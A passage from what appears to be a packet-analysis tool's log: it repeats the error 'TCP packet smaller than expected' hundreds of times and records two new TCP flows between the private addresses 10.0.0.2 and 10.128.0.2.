packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [.....3] [ip4][..tcp] [.......10.0.0.2][.9253] -> [.....10.128.0.2][24102] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [.....4] [ip4][..tcp] [.......10.0.0.2][16417] -> [.....10.128.0.2][16419] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - 